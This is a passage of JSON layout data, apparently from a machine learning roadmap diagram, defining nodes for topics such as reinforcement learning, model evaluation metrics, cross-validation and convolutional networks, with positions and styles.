\"style\": { \"width\": 302, \"height\": 49 }\n    },\n    {\n      \"id\": \"K-x_L3z8JTSHwtTeHm4EG\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -304.1455898150144, \"y\": 2663.468418061569 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Principal Component Analysis \",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xGO1X9aZRgKcgzi6r1xq8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 273, \"height\": 49 }\n    },\n    {\n      \"width\": 278,\n      \"height\": 76,\n      \"id\": \"6pRmzfpARAApr1JRCC7f5\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -712.377244443855, \"y\": 2716.468418061569 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Reinforcement Learning\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"center\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zdv96JeIxVl1ToieWcoAz\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -229.33333333333337, \"y\": 1150.3333333333335 },\n      \"focusable\": true,\n      \"measured\": { \"width\": 278, \"height\": 76 },\n      \"selectable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"EtU_9MOklVBvnvyg30Yfx\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -704.877244443855, \"y\": 2853.26971779646 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is Reinforcement Learning?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2Uh0p_fptX-Js1F2gniQD\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 303, \"height\": 49 },\n      \"width\": 303,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"PZ-WxKGTcWTrXmYI_inD_\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -704.877244443855, \"y\": 3011.873584467147 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Policy Gradient\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rDIg16eb6B6um1P8uMy51\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"measured\": { \"width\": 303, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302, \"height\": 49 }\n    },\n    {\n      \"id\": \"4Vy6lW9vF_SWwbKLU0qno\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -704.877244443855, \"y\": 3064.873584467147 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Actor-Critic Methods\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"J1aGPkZqDZfUwpVmC88AL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"measured\": { \"width\": 303, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302, \"height\": 49 }\n    },\n    {\n      \"id\": \"9o-ZT9oZIE3hCXD6eWZI0\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -704.877244443855, \"y\": 2958.873584467147 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Deep-Q Networks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oTKC1o1OOnPiTh60a8yVc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 303, \"height\": 49 }\n    },\n    {\n      \"id\": \"wxq5dkrpgvs3axmLmeHCk\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -704.877244443855, \"y\": 3117.873584467147 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Q-Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sChxcuQ2OruKVx8P4wAK_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 303, \"height\": 49 }\n    },\n    {\n      \"width\": 200,\n      \"height\": 69,\n      \"id\": \"GdPSm-37Qw8J7uNj9XWYJ\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -267.6455898150144, \"y\": 2843.26971779646 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Model Evaluation\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2eiJQUo9lA32lOTR6kbBp\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -229.33333333333337, \"y\": 1150.3333333333335 },\n      \"focusable\": true,\n      \"measured\": { \"width\": 200, \"height\": 69 },\n      \"selectable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"99TI95HVGrXIYr-PIDxhC\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -304.1455898150144, \"y\": 2961.600685330561 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is Model Evaluation?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4dxZmLg0UEaaVEORupOOC\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"width\": 273,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 273 }\n    },\n    {\n      \"id\": \"5dKl6SUQhOsZfUtVR5hzw\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -304.1455898150144, \"y\": 3119.37 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Metrics to Evaluate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kGwoHXNNXdxLfPFAX8Edi\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"width\": 273,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 318 }\n    },\n    {\n      \"id\": \"3wib9UH0_OLhKjqKoZEMv\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 87.96128704667744, \"y\": 2959.370603833673 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Accuracy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FdNY8QUbPPpeHFgD8TTaD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"measured\": { \"width\": 124, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"mja35tndhAT5z_ysv-hDe\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 214.95513613377187, \"y\": 2959.370603833673 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Precision\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"anEGWHVpcp75e3jQrj_LZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 130,\n      \"height\": 49,\n      \"measured\": { \"width\": 130, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"DH33Na9zz_WGmbD-Dxvq1\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 214.95513613377187, \"y\": 3012.370603833673 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Recall\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7fOp3t283GeOn6Tf4kEuN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 130,\n      \"height\": 49,\n      \"measured\": { \"width\": 130, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"FdNY8QUbPPpeHFgD8TTaD\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 87.96444063431669, \"y\": 3012.370603833673 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"F1-Score\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LpggrF1MMvAxtO9EJe3wY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"measured\": { \"width\": 124, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"anEGWHVpcp75e3jQrj_LZ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 87.96128704667744, \"y\": 3065.370603833673 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ROC-AUC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZWDSLqxmfg3aPBZFH479q\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"measured\": { \"width\": 124, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"7fOp3t283GeOn6Tf4kEuN\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 214.95513613377187, \"y\": 3065.370603833673 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Log Loss\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LdUwTWfCIcowwC-e6q3ac\"\n      },\n      \"zIndex\": 999,\n      \"width\": 130,\n      \"height\": 49,\n      \"measured\": { \"width\": 130, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"oyL0M2OP4NTNbIO3zq-Hz\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 88.96128704667744, \"y\": 3118.370603833673 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Confusion Matrix\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7QwPgqu86KDN-ZiSFPOBV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 256, \"height\": 49 }\n    },\n    {\n      \"width\": 219,\n      \"height\": 56,\n      \"id\": \"PSDG8k44DbOiMrSYsQ0Rx\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -677.377244443855, \"y\": 3233.811074714849 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Deep Learning\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"center\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zdv96JeIxVl1ToieWcoAz\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -229.33333333333337, \"y\": 1150.3333333333335 },\n      \"focusable\": true,\n      \"measured\": { \"width\": 219, \"height\": 56 },\n      \"selectable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"LWLqa61GK5ukYzHpjinYi\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -704.7896691215066, \"y\": 3533.1562291401465 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Forward propagation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gm2HwFQOGIJ6nM2liORub\"\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"measured\": { \"width\": 316, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 321, \"height\": 49 }\n    },\n    {\n      \"id\": \"0meihv22e11GwqnRdSJ9g\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -704.7896691215066, \"y\": 3586.1562291401465 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Back Propagation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UroKGrecBkAE_1Q-FDdMi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"measured\": { \"width\": 316, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 321, \"height\": 49 }\n    },\n    {\n      \"id\": \"8425N_E43Dv5mcmEcXRIa\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -704.7896691215066, \"y\": 3480.1562291401465 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Perceptron, Multi-layer Perceptrons\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tpDkgmVPtANqAyRg2CHBE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"style\": { \"width\": 321, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 316, \"height\": 49 }\n    },\n    {\n      \"id\": \"RXTci1N6i6D9HqTbsLYIy\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -704.7896691215066, \"y\": 3639.1562291401465 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Activation Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KcfFjpxFTFxI6HR6hBPrl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"style\": { \"width\": 321, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 316, \"height\": 49 }\n    },\n    {\n      \"id\": \"4dxZmLg0UEaaVEORupOOC\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -704.7896691215066, \"y\": 3383.1562291401465 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Neural Network (NN) Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2Uh0p_fptX-Js1F2gniQD\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 316, \"height\": 49 },\n      \"width\": 316,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 337 }\n    },\n    {\n      \"id\": \"KcfFjpxFTFxI6HR6hBPrl\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -704.7896691215066, \"y\": 3692.1562291401465 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Loss Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oyL0M2OP4NTNbIO3zq-Hz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"style\": { \"width\": 321, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 316, \"height\": 49 }\n    },\n    {\n      \"id\": \"ZVbnAF9I1r8qWFFYG6nXv\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -280.6381872719935, \"y\": 1887.0532715281324 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Scikit-learn\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gKu6tnpTO2PhDDMYp2u7F\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 213, \"height\": 49 },\n      \"width\": 213,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"CLBEDsXWxTG1SBaZWN3wr\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 26.861812728006498, \"y\": 1414.10460622576 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 308 },\n      \"dragging\": false,\n      \"width\": 20,\n      \"height\": 308,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"eFw46u6SbFjl7CUMQIoby\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -85.1381872719935, \"y\": 1404.10460622576 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 123, \"height\": 20 },\n      \"dragging\": false,\n      \"width\": 123,\n      \"height\": 20,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"nKtNZ-LuCLRGQ3XKGz5WV\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -61.1381872719935, \"y\": 1552.10460622576 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"eFw46u6SbFjl7CUMQIoby\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 97, \"height\": 20 },\n      \"dragging\": false,\n      \"width\": 97,\n      \"height\": 20,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"1aX_vO5zxfTV8_kUIFHkR\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -174.00856209149393, \"y\": 2359.772092054328 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Ridge\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EXogp25SPW1bBfb1gRDAe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"measured\": { \"width\": 116, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"EXogp25SPW1bBfb1gRDAe\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -303.1197180665912, \"y\": 2359.772092054328 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Lasso\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DH33Na9zz_WGmbD-Dxvq1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"measured\": { \"width\": 126, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"0hi0LdCtj9Paimgfc-l1O\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -304.1455898150144, \"y\": 3236.811074714849 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Validation Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kGwoHXNNXdxLfPFAX8Edi\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"width\": 273,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 318 }\n    },\n    {\n      \"id\": \"GKMhIXEuSKdW75-24Zopb\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 79.23681648400486, \"y\": 3289.811074714849 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"LOOCV\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LWLqa61GK5ukYzHpjinYi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"measured\": { \"width\": 267, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302, \"height\": 49 }\n    },\n    {\n      \"id\": \"vRS7DW2WUaXiHk9oJgg3z\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 79.23681648400486, \"y\": 3236.811074714849 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"K-Fold Cross Validation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8425N_E43Dv5mcmEcXRIa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 267, \"height\": 49 }\n    },\n    {\n      \"id\": \"_Z2miSW4PwILMRtBFajBn\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 79.23681648400486, \"y\": 3383.1562291401465 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Deep Learning Architectures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"A_Kx3pEj0jpnLJzdOpcQ9\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 267, \"height\": 49 },\n      \"width\": 267,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 318 }\n    },\n    {\n      \"id\": \"BtO2wH7YYqE25HShI6sd9\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 51.23681648400486, \"y\": 3620.948816097384 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Convolutional Neural Network\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kGwoHXNNXdxLfPFAX8Edi\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 295, \"height\": 49 },\n      \"width\": 295,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 318 }\n    },\n    {\n      \"id\": \"I-GEE7PvpQmhQSfZmxqwA\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -171.5721339272493, \"y\": 3620.948816097384 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pooling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rDIg16eb6B6um1P8uMy51\"\n      },\n      \"zIndex\": 999,\n      \"width\": 114,\n      \"height\": 49,\n      \"measured\": { \"width\": 114, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302, \"height\": 49 }\n    },\n    {\n      \"id\": \"a2PGTDnXKp759vFZzkjSF\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -308.2247168194407, \"y\": 3673.948816097384 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Padding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"J1aGPkZqDZfUwpVmC88AL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"measured\": { \"width\": 132, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 137, \"height\": 49 }\n    },\n    {\n      \"id\": \"MtoYStcZBduLSbjRuPjq0\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -308.2247168194407, \"y\": 3620.948816097384 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Convolution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oTKC1o1OOnPiTh60a8yVc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"style\": { \"width\": 137, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 132, \"height\": 49 }\n    },\n    {\n      \"id\": \"YWxSI45e5K_4YOrvmh6LV\",\n      \"type\": 